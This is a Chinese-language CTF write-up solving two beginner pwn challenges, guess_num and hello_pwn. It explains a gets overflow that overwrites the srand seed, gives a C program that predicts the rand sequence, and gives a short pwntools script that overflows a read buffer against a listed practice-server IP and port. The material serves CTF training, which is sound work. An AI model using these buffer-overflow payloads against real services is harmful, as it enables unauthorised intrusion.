[Pwn]攻防世界pwn题目wp--guess_num,hello_pwn

pwn 学习篇

0x1 guess_num

下载题目所给附件,使用checksec 进行查看在这里插入图片描述
发现是一个 64bit的文件,relro开启了部分保护以及开启了NX保护

常规丢进ida64进行反编译

左侧函数栏找到main函数 F5在这里插入图片描述

在这里插入图片描述
发现函数体大致意思是通过rand()函数进行随机数的生成并对用户输入的数字进行十次比对,有一次不对即执行exit(1)终止此程序段,若10次都比对成功则可以得到返回的flag值。

由于随机数的产生不可控的,因此题目思路大概是通过在名字输入时的gets函数进行对seed的覆盖,从而保证seed的值不变,因此rand函数产生的随机数序列也就是唯一的,这样即可做到10次精准比对从而拿到flag。

观察一下栈空间的分配情况在这里插入图片描述
因此需要覆盖的空间就是0x3c-0x10 ,0x3c为十进制的60,因此此处直接覆盖60个’a’

使用0x61616161作为srand的常数编写c语言脚本进行覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
#include<stdlib.h>
int main()
{
int i;
srand(0x61616161);
for(i=0;i<10;i++)
{
int b = rand()%6 + 1;
printf("%d\n",b);
}
system("pause");
return(0);
}

拿到linux中使用 gcc a.out -o b.out 命令进行编译

./b.out 运行
在这里插入图片描述
即可获得一串固定的随机数序列

使用nc 命令进行连接 输入名字超过60个字节的长度进行覆盖,按照产生的固定序列进行输入,即可得到flag在这里插入图片描述
在这里插入图片描述

0x2 hello_num

check一下
在这里插入图片描述
丢进ida
ctrl+1查一下敏感字符串
在这里插入图片描述
双击 ctrl+x 跟进发现是一个system函数。

发现是由一个read函数进行读取,然后经过if语句比对,成功则跳转到400686地址,即刚刚看到的flag地址。
ssize_t read(int filedes,void *buf,size_t nbytes);
此处read函数, read函数从filedes指定的已打开文件中读取nbytes字节到buf中。如果第一个参数为0,则表示从从终端进行输入。
因此这里的read函数就是我们进行覆盖的一个点。
由于输入后的地址是 &unk_601068
而我们需要修改的值是dword_60106C,因此看一下偏移。
在这里插入图片描述
数一下偏移为4。
构建exp

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote('220.249.52.133',48566)

payload = 'a'*4+p64(1853186401)
p.recvuntil("lets get helloworld for bof")
p.sendline(payload)
p.interactive()

执行即可获得flag

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2022 W1therC